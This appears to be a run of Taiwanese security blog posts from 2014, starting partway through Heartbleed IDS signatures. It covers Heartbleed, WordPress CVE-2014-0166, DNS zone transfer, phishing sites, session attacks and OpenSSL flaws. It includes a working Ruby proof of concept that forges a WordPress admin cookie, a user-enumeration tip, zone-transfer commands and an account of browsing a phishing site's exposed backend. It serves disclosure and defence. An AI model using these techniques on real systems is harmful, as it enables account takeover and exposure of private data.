heartbleed attempt"; flow:to_client,established; content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517; rev:3;)

民眾與管理者應對措施

不少朋友來信、留言洽詢，到底自己該怎麼針對這次的漏洞應變？我們簡單就一般民眾以及系統管理者說明。

一般民眾應對措施

• 注意常用的重要網站服務，是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。
• 若常用網站服務有遭遇此風險，記得更換帳號密碼。
• 若這段時間有網站通知更換密碼，也請注意是否為釣魚信件。
• 注意自己的帳號是否有異常活動。
• 若使用的網站服務就是不更新，一天一信友善提醒管理者。

系統管理者應對措施

• 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2，並密切注意有無後續更新。
• 重新產生金鑰（Private Key 可能外洩）、Session（Session ID 可能外洩）、密碼（密碼也可能外洩），並且撤銷原本的金鑰。
• 若無法更新，重新編譯 OpenSSL 以關閉 heartbeat 功能。
• 使用 Perfect Forward Secrecy (PFS)，在未來類似風險發生時減低傷害。

許多業者抱持著僥倖的心態，想說外洩的目標不會輪到自己。如果大家看到這幾天全世界資安人員 / 駭客不眠不休的撈取資料，應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天，就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器，並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線，不然還是請乖乖更新吧。

大事件，大啟示

還記得之前我們提到的「使用第三方套件所要擔負的資安風險」？這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤，或者是國家機器 NSA 的強力滲透，使用各種第三方的套件都需要承擔極大的風險。但可悲的是，我們卻無法不使用。從這次的事件我們可以學到幾件事情：

1. 不管哪種攻擊手法、多老舊的攻擊手法，在未來都可能會再度發生。
2. 程式碼的 review 非常重要，一定要在開發過程中導入程式碼 review 機制，以免開發者寫出含有安全疑慮的程式碼。
3. 加密、Session 控管、金鑰控管等議題，是永遠的課題。一天沒處理好，在未來的風險中會再度受害。
4. 風險永遠會發生在你猜不到的地方，可能是程式、可能是函式庫、可能是加密協定、更可能是亂數產生器。

不斷的增強資安意識、不停的分享新知、廠商做好資安控管及安全檢測、民眾對企業和政府要求資訊安全，集合大家的力量，是改善資安大環境的不二法門。

你以為自己逃過一劫了嗎？也許你的身體已經血流如柱，而嗜血的鯊魚正游向你。

前言

在一陣 OpenSSL Heartbleed 淘金潮中，又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發－CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點，攻擊者可以暴力偽造出合法 cookie，藉此獲得 WordPress 最高權限，進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧！

解析

這次出問題的程式碼在這邊，關鍵程式碼如下：

$key=wp_hash($username.$pass_frag.'|'.$expiration,$scheme);$hash=hash_hmac('md5',$username.'|'.$expiration,$key);if($hmac!=$hash){/**   * Fires if a bad authentication cookie hash is encountered.   *   * @since 2.7.0   *   * @param array $cookie_elements An array of data for the authentication cookie.   */do_action('auth_cookie_bad_hash',$cookie_elements);returnfalse;}

問題主要發生在比較運算子 != 上面，!= 運算子是 non-strict，會在比較前先做型態轉換，所以下面看似應該是回傳 true 的例子，全部都顯示為 false，細節請參閱官方手冊。

var_dump(0!="a");// 0 != 0 -> falsevar_dump("1"!="01");// 1 != 1 -> falsevar_dump("10"!="1e1");// 10 != 10 -> falsevar_dump(100!="1e2");// 100 != 100 -> falsevar_dump("0"!="0e10123456789012345678901234567890");// 0 != 0 -> false

進入正題，WordPress 認證身分用的 cookie 內容是這樣的：『username|expiration|hmac』。
username 是使用者名稱，
expiration 是有效期限(timestamp)，
hmac 值用來驗證 cookie 是否合法。
從上面程式碼可以看到，hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法，就可以成功偽造成 username。

利用稍早提到的比較運算子問題，若我們讓 cookie 中的 hmac 值為 0，很有可能讓判斷式變成下面這樣：

//if ( $hmac != $hash ) {if("0"!="0e10123456789012345678901234567890"){do_action('auth_cookie_bad_hash',$cookie_elements);returnfalse;}

如此便可以通過驗證，成功偽造合法 cookie。
而為了讓 $hash == 0，可以不斷改變 cookie 中的 expiration，讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。
符合 $hash == 0 的 MD5 $hash 值有 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09

每次偽造的成功機率約為三億分之一，並不會很高，但已經足夠在一個月內拿到最高權限，而且所耗成本並不會很高。

實驗

為了驗證此方法之可行性，我們架設了 WordPress 3.8.1環境。並且寫程式將登入 cookie 中的 hmac 設為 0，不斷調整 expiration 值測試是否已經登入，程式如下：

require'httpclient'http=HTTPClient.newcookie_name="WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"timestamp=Time.now.to_i(timestamp..timestamp+800000000).eachdo|time|result=http.get('http://domain.my/WordPress/',nil,{"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})ifresult.body.include?'logout'puts"admin%7C#{time}%7C0"breakendend

註：此程式為 POC，請自行調整為多執行緒版本，不然速度會很慢。

經過一段長時間的等待，得到的結果如下：

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時，伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值： admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖，實驗成功！

註：一般狀況，若不知道 WordPress 最高權限的帳號，可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。

結論

最近出現了一個高風險通報 CVE-2014-0166，其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點，可以偽造合法 cookie，進而取得 WordPress 管理權限。本文分析了其原理，並且證實之。

對於攻擊者而言，雖然每次偽造 cookie 成功的機率約為三億分之一並不高，但發送三億個 request 後或許能拿到最高權限，已經是值得投資的級數。

對於 WordPress 管理者而言，建議立即更新至 3.8.2 以後版本，以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者，在撰寫重要的驗證行為，要特別注意 PHP 比較運算子的特性，請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣，避免因為轉型造成的資安風險。

不安全的引用物件 (Insecure Direct Object Reference)是個非常常見的資安漏洞，在 OWASP公布的十大網站應用程式安全漏洞中高居第四名。通常發生在網站應用程式上沒有針對輸入的參數做好檢查，就把參數丟入 include 或 readfile 等函數當中引用，使得攻擊者可以藉此存取任意文件的原始碼。

今天這個案例就發生在 PHP 的官方網站 (http://www.php.net/)，消息來源是知名的 0-Day 黑市 1337day，發佈的日期是 2014/4/4 ，原始的內容是這樣的：

可以看到這個弱點是不公開的，想要知道內容的話要支付 82 美元相當於新台幣 3500 元呢！在強烈的好奇心屈使之下，自己打開工具來找看看：

透過簡單的分析和一點點運氣，找到了 「http://www.php.net/cached.php」 這隻程式，發現它傳入了「t」和「f」這兩個參數。「t」直覺上就是個 rand 數值，而「f」應該就是檔案位置了。這時候對 f 參數小小修改一下，神奇的事情發生了：

index.php 的原始碼被完整的讀出來，當然也要來看一下 cached.php 是怎麼寫的：

可以看到此處並未對 $_GET[“f”] 進行檢查，所以修改了 $_GET[“f”] 後，與 $abs 組合完，最後就直接丟入 readfile 讀取檔案。比較值得研究的是這邊使用了 realpath 與 strncmp 來比較 f 及 DOCUMENT_ROOT，確保 $abs 只能在網站目錄之下，所以無法使用 ../../ (Path Traversal) 的方式跳脫目錄進行更進一步的滲透。

最後我們將此發現回報給 security@php.net ，得到的回應是他們是「故意的 (intentional)」。且後來也知道 PHP 官網是開放原始碼（Open Source）的，可以到 http://git.php.net/?p=web/php.git;a=tree下載整個官網的原始碼。

雖然在這個案例中並沒有造成實質上的危害，沒有帳號、密碼、系統設定等機敏資料，但若把此種寫法用在其他地方，則可能造成很大的資安風險。就連 PHP 官方網站都有這樣的失誤，身為開發人員的你們更不可不慎！

前言

DNS是在 1983 年由 Paul Mockapetris 所發明，相關規範分別在 RFC 1034以及 RFC 1035。其主要作用是用來記憶 IP 位址與英文之間的對應關係，讓人類可以用較簡單的方式記得主機名稱。目前一般民眾大多使用 ISP 或國際知名公司提供的 DNS server，如中華的 168.95.1.1 或是 Google 的 8.8.8.8 等等。

然而對於企業而言，可能需要架設大量機器或內部系統，又希望以簡單的方式記憶主機名稱，因此許多企業有自行架設 DNS server 的需求。同時企業通常也會建立幾台備援 DNS server，以避免 DNS 服務忽然中斷。但是當企業有多台 DNS server 時，就必須考量 DNS 記錄的同步問題，通常會使用 zone transfer這個功能來同步記錄。

然而若管理者未做好相關設定，使所有來源皆可對企業的 DNS 主機進行 zone transfer 查詢，則有機會讓此功能成為企業遭受攻擊的起點。用現實生活情境舉例的話，對外開放 zone transfer 就如同所有人都可以任意查詢你名下的所有房地產位在何處，假如有人要針對性的攻擊你，隨時都可以去看你某個房地產有沒有哪扇門窗沒關好，伺機入侵你的家園。一般我們對企業資訊系統進行滲透測試時，在資訊搜集的階段也會先從 domain name 下手，因此 DNS 相關資料的重要性可見一斑。

Zone transfer 的資安議題早在 1999 年就已有人提出，理應成為各企業進行資安稽核的步驟之一。然而十五年過去了，在近期我們卻發現許多國內大企業仍有此問題，令人非常驚訝！究竟企業該如何檢測自身是否存在這種安全漏洞？此問題目前在台灣網路環境佔有多大的比例？Zone transfer 會對企業造成什麼影響？讓我們繼續看下去～

Zone Transfer 檢測方式

首先需感謝 DigiNinja提供了一個讓大家自由測試的 zonetransfer.me 網域，以下我們分別在 Linux 及 Windows 環境下進行檢測。

Linux

在 Linux 環境內，我們可利用 dig指令查詢目標 domain 使用哪些 name server：

dig +nostats +nocomments +nocmd NS zonetransfer.me

Name server 查詢結果：

;zonetransfer.me.		IN	NS
zonetransfer.me.	7118	IN	NS	ns12.zoneedit.com.
zonetransfer.me.	7118	IN	NS	ns16.zoneedit.com.

從結果可得知有 ns12.zoneedit.com 或 ns16.zoneedit.com 這兩個 DNS server，接著我們即可測試是否可從外部網路對這兩個 DNS server 進行 zone transfer，測試方式如下：

dig axfr zonetransfer.me @ns12.zoneedit.com

Zone transfer 測試結果：

從上面的測試結果中我們可發現，zonetransfer.me 這個網域的所有 DNS 設定已全部被列出。

Windows

若是在 Windows 環境，可在命令提示字元環境內使用 nslookup指令查詢目標 domain 使用哪些 name server：

nslookup -type=ns zonetransfer.me

Name server 查詢結果：

Server:		8.8.8.8
Address:	8.8.8.8#53

Non-authoritative answer:
zonetransfer.me	nameserver= ns12.zoneedit.com.
zonetransfer.me	nameserver= ns16.zoneedit.com.

Authoritative answers can be found from:

輸入指令後我們如同先前使用 dig 一樣，得知目標有 ns12.zoneedit.com 與 ns16.zoneedit.com 這兩個 name server，接著再如下圖依序輸入三道指令查詢：

nslookup

server ns12.zoneedit.com

ls -d zonetransfer.me

註：Linux 版的 nslookup 沒有實作 ls 這個功能喔！

Zone transfer 測試結果：

測試結果與 Linux 環境所得到的資料雷同，可成功列出該網域的所有 DNS 設定。

Online Service

當然，並不是每個人都熟悉上述指令的操作方式，因此除了介紹手動檢測方法之外，在這裡也提供幾個線上檢測的服務，讓大家可以迅速檢測自家公司或者你正在使用的服務是否有此問題：

• UltraTools
• HackerTarget
• Digital Point

實際案例

如同上次 HTTP Headers 資安議題所探討的對象，我們從 TIEA 成員以及 Alexa TW top 525 觀察 zone transfer 問題分別在這些族群中佔有多少比例。

根據我們監測的結果，在目前 TIEA 的 132 名成員中，有 20 個網域存在 zone transfer 問題，佔了 15.15%。而在 Alexa TW top 525 當中，有 48 個網域存在 zone transfer 問題，佔了 9.14%。乍看之下比率似乎不高，但是在上述兩個族群的網域當中，包括：

• 電信商
• 多家電視媒體
• 多家網路新聞媒體
• 多家線上購物網站
• 知名團購網站
• 知名金流公司
• 知名線上音樂服務

台灣企業不夠注重資訊安全，罔顧客戶資料安全性，早已不是新聞。然而若企業不顧自身商業利益與責任，當彼此無商業往來時，我們也無法一一咎責。但若連台北市政府、教育部、多間大專院校都有此問題，就令人不太能接受了，這些政府單位與教育機構理當為我們的個人資料安全性負起全部的責任，不應該漏掉任何一個資安環節。上述結果顯示出台灣從政府到企業可能都沒有徹底落實 DNS 的資安設定，而且目前的數據僅僅是針對 TIEA 成員以及 Alexa TW top 525 進行檢測，若是對全台灣或是全世界進行大範圍的檢測，恐怕會發現更多驚人的案例！

對企業的潛在影響

• 洩漏網域名稱

  一般企業在進行滲透測試時，通常只會挑幾個最重要、最常面對客戶的網域進行測試，但是入侵者可不會這麼乖。當有人嘗試要入侵企業時，必定是先進行全面的偵查，觀察企業哪幾個網域所執行的 service 有潛在的弱點，或是看哪幾個網域防禦力道較弱，再從該處下手。因此 zone transfer 問題所提供的完整 DNS 記錄，就為入侵者省下了許多偵查的工夫。

• 洩漏外網 IP 範圍

  當攻擊者取得 zone transfer 所洩漏的資料後，可合理推斷哪些網段是屬於該企業，進一步對該網段進行掃描，嘗試找尋有機會入侵之標的物。

• 洩漏內網 IP 範圍

  有些管理人員、開發者為求內部開發方便，經常會將網域名稱跟內網 IP 位址綁在一起，例如將 phpmyadmin.example.com 設定為 192.168.1.100，攻擊者就可根據此類資訊猜測內網哪些網段存在重要服務。這種設定平常也許不會造成重大損害，但是當管理者疏於建立內網防禦機制，恰好企業又被入侵至內網時，造成一連串重大損失的機率將會大幅提高。

解決方式

Linux

若使用 Linux，可在 /etc/named.conf 內加入下列選項，以限制可存取 zone transfer 的來源：

options {
    allow-transfer {
        1.2.3.4;
        5.6.7.8;};};

設定完畢後，將 DNS 服務重啟即可生效。

Windows

在 Windows server 當中，我們可到伺服器管理員修改網域的相關設定，如下圖：

在伺服器管理員中，選定想要修改的網域（此處以 test.com 為例），按右鍵點選內容，將會跳出選單如下圖：

接著就是觀看「允許區域轉送」選項是否有勾選，若已勾選，則確認轉送對象是否為下列兩種：

• 只到列在「名稱伺服器索」引標簽上的伺服器
• 只到下列伺服器

TCP 53 port

DNS 在做 zone transfer 時是使用 TCP 53 port（有別於一般 DNS query 的 UDP 53 port），因此有些人會認為將 TCP 53 port 關閉就可以對付 zone transfer，而不想修改 zone transfer 的設定。其實這個觀念只對了一半，若 zone file 的資料小於 512 byte，仍然可以透過 UDP 傳輸。即使 zone file 的資料大於 512 byte，也可以用 Incremental Zone Transfer (IXFR) 的方式取得部分資料。

結論

如果企業今天非常有自信能夠替所有網域都準備好完善的安全措施，那麼 zone transfer 所洩漏的資料對該企業就不會有太嚴重的影響。然而，在現今這個入侵手法日新月異的世界裡，又有誰能夠永遠保證自己的安全防護已經做足了呢？在前陣子火紅的 OpenSSL CVE-2014-0160 Heartbleed問題被爆出來之後，我們就藉由許多 zone transfer 的記錄觀察到全世界有非常多企業只修復了主要網站的 OpenSSL 漏洞，卻忽略了企業內其他的服務與設備可能也有此漏洞，像是 DB、Email、VPN、NAS 等等，直到今日仍遲遲未修復。

千萬別以為你所購買的各種資安設備能防禦所有資安弱點，也別忽略了各項古老的資安弱點，更別小看了你所不熟悉的駭客們的組合各式各樣弱點的能力，只要有一個資安環節疏漏，隨時都有可能對企業造成致命危機。

vote.tw.am

最近很多人都收到了一個看起來很像釣魚網站的核四投票站台簡訊，如下圖：

我們也收到了，但是剛吃飽飯實在很想睡覺，不太想理他，於是就忍不住趴下睡覺，竟然做了個夢…..

站台內容

在夢中手滑打開了網頁，內容長得像這個樣子：

看了真是非常的義憤填膺！馬上就想投下神聖的一票！但是忽然聽到周公指示說網站底下有奇怪的目錄，照著神諭一試，發現有 .svn 目錄跟 entries 檔！

這時候三太子哪吒剛好路過，說他剛剛在 Pastebin 看到有人貼了一篇跟這個網站好像有關聯的內容，講完他就開著水車跑去鎮壓龍宮了。點開那篇內容一看，內容有一些很奇怪的網址，讓人看了就很想點！隨便選了一個 http://vote.tw.am/2N9E6V4E5R4BABC0647469FF213F2D94A27FA/chose_vote.include.php 打開來看：

哇塞！原來從服貿就已經開始了呢！讓我們繼續點進去看看：

看起來是個後台，可以瀏覽使用者的投票記錄、留言等資料，那就點個投票記錄來看看：

果然裡面存著眾多民眾的投票記錄，那麼用戶反饋應該就是留言了…

從這些內容看來，應該是有個集團擁有大量的民眾個資，並且一一發送訊息給這些人，背後目的尚不得而知。有可能是大陸人想利用這個熱潮確認這些電話號碼是否真實、可用，也有可能是不知名的黑手正在策劃下一個打壓動作？正當我們想搞清楚對方究竟是透過電話號碼還是信箱傳送 iMessage 時，哪吒忽然又路過了，丟了這張圖之後叫我們不要再瞎忙了趕快回家洗洗睡：

果然有電話！究竟這件事，是有網站大量洩漏個資，還是有人在民運期間利用這股熱潮蒐集個資，抑或是背後有什麼不可告人的秘密呢？讓我們繼續看下去～

夢醒時分

上班時間不能午睡太久，於是周公就把我們叫醒了…..

對於這樣的夢境我們有以下建議：

• 不要隨意點擊來路不明的簡訊內容
• 在網路上填寫任何內容之前先查證該網站是否可疑
• 對於 yijapperj@hotmail.com 這種可疑帳號所傳來的任何資料，請保持高度警戒
• 對於 vote.tw.am 這種看起來疑似要偽裝成 .tw 網域的站台，也請保持高度警戒

歡迎大家轉發這個消息到各大網站、粉絲團、BBS，告訴各個熱心公益的鄉民們別再點擊與回應來路不明的簡訊囉！

晚上突然接到社群朋友傳 LINE 的訊息過來，定睛一看並不單純。這網址看起來就是釣魚網站啊？怎麼會這樣呢？難道是朋友在測試我們的警覺心夠不夠嗎？讓我們看下去這個釣魚網頁怎麼玩。

此 LINE 釣魚訊息說只要幫忙轉發 15 次訊息，就會贈送貼圖。先不論 LINE 有沒有這樣的機制，我們先直接點選連結看看葫蘆裡賣什麼藥。

瀏覽器打開之後，跳出了領取貼圖的「網頁」，而且還有詭異的紅字。各種跡象都跟一般領取貼圖的模式不同，太令人起疑了。點了圖就會跳到 Facebook 登入頁面。

明眼人看到這個 Facebook 登入頁面就會發現太假了，破綻多多。Logo、網址、網頁格式破板、簡體字，太多令人懷疑的地方了。在這邊我們只要隨便輸入帳號跟密碼，就能到下個畫面。

結果當然是不會給你貼圖啦！而且網址「cuowu」是「錯誤」的拼音，也暴露了網站作者的身分。直接用瀏覽器看傳遞的頁面叫做「tj.asp」，「tj」正好是「提交」，畫面上的錯誤訊息更是大剌剌的直接秀出簡體字。

事後友人直接說 LINE 帳號被盜用發訊息了，而且密碼可能過於簡單、也沒有設定換機密碼。因此在這邊呼籲大家做好 LINE 的安全設定：

1. 加強密碼長度、複雜度
2. 設定「換機密碼」
3. 若只在手機使用 LINE，可將「允許自其他裝置登入」關閉
4. 如果有帳號被盜狀況，趕快聯絡 LINE https://line.naver.jp/cs/

大家在享受通訊軟體與朋友傳訊貼圖的同時，也必須要注意有心人士利用這些管道竊取你的帳號密碼喔！

前言

大家還記得四月份的 OpenSSL Heartbleed事件嗎？當時除了網站本身以外，受害最嚴重的就屬 VPN Server 了。國內外不少駭客不眠不休利用 Heartbleed 漏洞竊取 VPN Server 的管理者 Session Cookie，運氣好的話就可以直接登入大企業的內網。

但是，其實這樣的風險是可以避免的，今天我們以開發者的角度來談談 Session 的攻擊與防護。

什麼是 Session？什麼是 Cookie？

在談 Session 之前，我們要先瞭解 Cookie。你知道網站是如何辨識我們的身份嗎？為什麼我們輸入完帳號密碼之後，網站就知道我們是誰呢？就是利用 Cookie。Cookie 是網站在瀏覽器中存放的資料，內容包括使用者在網站上的偏好設定、或者是登入的 Session ID。網站利用 Session ID 來辨認訪客的身份。

Cookie 既然存放在 Client 端，那就有被竊取的風險。例如透過 Cross-Site Scripting（跨站腳本攻擊，又稱 XSS），攻擊者可以輕易竊取受害者的 Cookie。如果 Cookie 被偷走了，你的身份就被竊取了。

我們可以用一個譬喻來表示：你加入了一個秘密俱樂部，填寫完會員資料後，得到了一張會員卡。之後只要憑這張會員卡，就可以進入這個俱樂部。但是隔天，你的會員卡掉了。撿走你會員卡的人，就可以用你的會員卡進入這個秘密俱樂部，因為會員卡上沒有你的照片或是其他足以辨識身分的資訊。這就像是一個會員網站，我們申請了一個帳號（填寫會員資料加入俱樂部），輸入帳號密碼登入之後，得到一組 Cookie，其中有 Session ID 來辨識你的身分（透過會員卡來辨識身分）。今天如果 Cookie 被偷走了（會員卡被撿走了），別人就可以用你的帳號來登入網站（別人用你的會員卡進入俱樂部）。

Session 攻擊手法有三種：

1. 猜測 Session ID (Session Prediction)
2. 竊取 Session ID (Session Hijacking)
3. 固定 Session ID (Session Fixation)

我們以下一一介紹。

Session Prediction (猜測 Session ID)

Session ID 如同我們前面所說的，就如同是會員卡的編號。只要知道 Session ID，就可以成為這個使用者。如果 Session ID 的長度、複雜度、雜亂度不夠，就能夠被攻擊者猜測。攻擊者只要寫程式不斷暴力計算 Session ID，就有機會得到有效的 Session ID 而竊取使用者帳號。

分析 Session ID 的工具可以用以下幾種

1. OWASP WebScarab
2. Stompy
3. Burp Suite

觀察 Session ID 的亂數分布，可以了解是否能夠推出規律、猜測有效的 Session ID。

Ref: http://programming4.us/security/3950.aspx

防護措施

使用 Session ID 分析程式進行分析，評估是否無法被預測。如果沒有 100% 的把握自己撰寫的 Session ID 產生機制是安全的，不妨使用內建的 Session ID 產生 function，通常都有一定程度的安全。

Session Hijacking (竊取 Session ID)

竊取 Session ID 是最常見的攻擊手法。攻擊者可以利用多種方式竊取 Cookie 獲取 Session ID：

1. 跨站腳本攻擊 (Cross-Site Scripting (XSS))：利用 XSS 漏洞竊取使用者 Cookie
2. 網路竊聽：使用 ARP Spoofing 等手法竊聽網路封包獲取 Cookie
3. 透過 Referer 取得：若網站允許 Session ID 使用 URL 傳遞，便可能從 Referer 取得 Session ID

竊取利用的方式如下圖：

受害者已經登入網站伺服器，並且取得 Session ID，在連線過程中攻擊者用竊聽的方式獲取受害者 Session ID。

攻擊者直接使用竊取到的 Session ID 送至伺服器，偽造受害者身分。若伺服器沒有檢查 Session ID 的使用者身分，則可以讓攻擊者得逞。

防護措施

• 禁止將 Session ID 使用 URL (GET) 方式來傳遞
• 設定加強安全性的 Cookie 屬性：HttpOnly (無法被 JavaScript 存取)
• 設定加強安全性的 Cookie 屬性：Secure (只在 HTTPS 傳遞，若網站無 HTTPS 請勿設定)
• 在需要權限的頁面請使用者重新輸入密碼

Session Fixation (固定 Session ID)

攻擊者誘使受害者使用特定的 Session ID 登入網站，而攻擊者就能取得受害者的身分。

1. 攻擊者從網站取得有效 Session ID
2. 使用社交工程等手法誘使受害者點選連結，使用該 Session ID 登入網站
3. 受害者輸入帳號密碼成功登入網站
4. 攻擊者使用該 Session ID，操作受害者的帳號

防護措施

• 在使用者登入成功後，立即更換 Session ID，防止攻擊者操控 Session ID 給予受害者。
• 禁止將 Session ID 使用 URL (GET) 方式來傳遞

Session 防護

那要怎麼防範攻擊呢？當然會有人說，會員卡不要掉不就沒事了嗎？當然我們沒辦法確保用戶不會因為各種方式導致 Cookie 遭竊（XSS、惡意程式等），因此最後一道防線就是網站的 Session 保護。一張會員卡上如果沒有任何可識別的個人資料，當然任何人撿去了都可以用。如果上面有照片跟簽名呢？偷走會員卡的人在進入俱樂部的時候，在門口就會因為照片跟本人不符而被擋下來。Session 保護也是一樣，怎麼讓我們的 Session 保護機制也能辨識身分呢？答案是利用每個使用者特有的識別資訊。

每個使用者在登入網站的時候，我們可以用每個人特有的識別資訊來確認身分：

1. 來源 IP 位址
2. 瀏覽器 User-Agent

如果在同一個 Session 中，使用者的 IP 或者 User-Agent 改變了，最安全的作法就是把這個 Session 清除，請使用者重新登入。雖然使用者可能因為 IP 更換、Proxy 等因素導致被強制登出，但為了安全性，便利性必須要與之取捨。以 PHP 為例，我們可以這樣撰寫：

if($_SERVER['REMOTE_ADDR'] !== $_SESSION['LAST_REMOTE_ADDR'] || $_SERVER['HTTP_USER_AGENT'] !== $_SESSION['LAST_USER_AGENT']) {   session_destroy();}session_regenerate_id();$_SESSION['LAST_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR'];$_SESSION['LAST_USER_AGENT'] = $_SERVER['HTTP_USER_AGENT'];

除了檢查個人識別資訊來確認是否盜用之外，也可以增加前述的 Session ID 的防護方式：

1. Cookie 設定 Secure Flag (HTTPS)
2. Cookie 設定 HTTP Only Flag
3. 成功登入後立即變更 Session ID

Session 的清除機制也非常重要。當伺服器偵測到可疑的使用者 Session 行為時，例如攻擊者惡意嘗試偽造 Session ID、使用者 Session 可能遭竊、或者逾時等情況，都應該立刻清除該 Session ID 以免被攻擊者利用。

Session 清除機制時機：

1. 偵測到惡意嘗試 Session ID
2. 識別資訊無效時
3. 逾時

管理者有避免使用者帳號遭竊的責任

使用者帳號遭竊一直以來都是顯著的問題，但卻鮮少有網站針對 Session 的機制進行保護。攻擊者可以輕鬆使用 firesheep之類的工具竊取帳號。國外已經有不少網站偵測到 Session 可能遭竊時將帳號強制登出，但國內目前還鮮少網站實作此防禦，設備商的 Web 管理介面更少針對 Session 進行保護。如果 VPN Server 等設備有偵測 Session ID 的偽造，在 OpenSSL Heartbleed事件時就不會有那麼慘重的損失了。

立刻把自己的網站加上 Session 保護機制吧！

(本篇最後更新時間：2014.6.9 15:40 pm)

OpenSSL 團隊於 6/5 修補了六項安全漏洞，SANS在這篇文章中整理了這幾個漏洞的摘要，這裡截圖表格如下：

其中 CVE-2014-0224、CVE-2014-0195 兩項被列為 Critical，我們分別來看看這兩個弱點到底造成了什麼危害。

CVE-2014-0224 (CCS Injection Vulnerability)

說明

加密通訊被視為預防中間人攻擊的解法之一，利用 SSL 協定防止竊聽、竄改傳輸資料是一種常見的方式。然而 OpenSSL 這次出現在 ChangeCipherSpec（更改密鑰規格）的設計瑕疵，讓攻擊者有辦法解密所有通訊內容，讓加密保護徹底失效。

該弱點原理是 OpenSSL 伺服器端在實作 handshake 時並未檢查訊息的順序（嚴格來說是 ChangeCipherSpec 的順序），所以攻擊者可以提前送出 ChangeCipherSpec 訊息，使伺服器在還未初始完畢的狀態先去做 ChangeCipherSpec 的動作，最終造成加解密可解的狀況，是以此弱點稱之為 CCS Injection。更多的細節請參考原通報者 Masashi Kikuchi 的部落格，佐以這篇附程式碼的解說，OpenSSL github 上關於 CVE-2014-0224 的 fix也可以幫助了解。

誰應該注意

所有靠 OpenSSL 保護連線的應用服務都需要注意。又尤其是銀行、金流服務這些連線中存在金融資訊的服務，若不注意會造成信用卡卡號洩漏，網路銀行被盜用。經過實際檢測，目前仍有銀行單位和金流單位使用有問題的 OpenSSL 版本。消費者需要特別注意，在使用前也可透過下面小工具來輔助檢查自己所使用的服務使否存在風險：

• Tripwire 提供的小程式 (python)
• 測試網站 http://ccsbug.exposed/

慶幸的是，此弱點只發生在用戶端及伺服器端皆使用有問題 OpenSSL 版本的狀況下。一般來說，桌面端的瀏覽器都不是使用 OpenSSL，所以一般使用者可以稍微安心。問題比較大的是 android 使用者，android 內建 OpenSSL，許多 app 呼叫它來進行加密傳輸，所以建議 android 用戶在 google 釋出更新前，不要使用手機連線到有問題的服務，或使用自帶 SSL 的 app，例如：firefox、最新版 Chrome (35.0.1916.141)…。

另外，若使用者常用到一些加密連線服務，例如 VPN，請自行注意所使用軟體是否使用 OpenSSL，以免受到 CCS Injection 的影響。

最後說個題外話，原來現在發表漏洞還要為漏洞出張圖，在 Hacker News 原討論串的這篇回應，就有人說：『這個漏洞有 logo 嗎？如果沒有我就不打算認真看待它！』XD

CVE-2014-0195 (DTLS arbitrary code execution)

說明

OpenSSL 在處理 DTLS訊息上，為了避免 IP fragmentation，所以做了一些處理機制，這個處理機制並沒有好好驗證 DLTS ClientHello 中的 fragment 長度（嚴格來說是在正確的位置做驗證），若攻擊者發送一個很長的 fragment，能造成緩衝區溢位攻擊。更多的細節請參考這篇文章。

比較有趣的是那段出問題的程式碼是一位有名德國工程師 Robin Seggelmann 寫的，有名的點在於上次非常嚴重的 Heartbleed事件也是他寫的 code XD

誰應該注意

使用 OpenSSL 且有用到 DTLS 的服務提供者，通常是 VoIP、WebRTC、VPN 這類服務，這個風險有可能會造成伺服器被入侵。

修補

除了上面所提及兩個嚴重風險，這次的更新也同時修復了幾個 DOS 的弱點，強烈建議伺服器端更新。 請確認 OpenSSL 已經更新到下面版本，並且有重新啟動讓其生效。 - OpenSSL 0.9.8za - OpenSSL 1.0.0m - OpenSSL 1.0.1h

更新資訊依據所用的系統分別如下： - Ubuntu - Debian - FreeBSD - CentOS - Red Hat 5 - Red Hat 6 - Amazon Linux AMI

小結

這次 OpenSSL 做了數個安全性的更新，雖然不若之前 Heartbleed 那麼嚴重，但卻也讓使用者暴露在風險中。建議有使用 OpenSSL 都應該更新到最新版本，尤其是一些大型的銀行及金流服務，更應儘速更新。

上次我們提到了 Content-Security-Pilicy，這次我們來聊聊同樣是為了防禦 XSS 而生的另一個技術。

HttpOnly 簡介

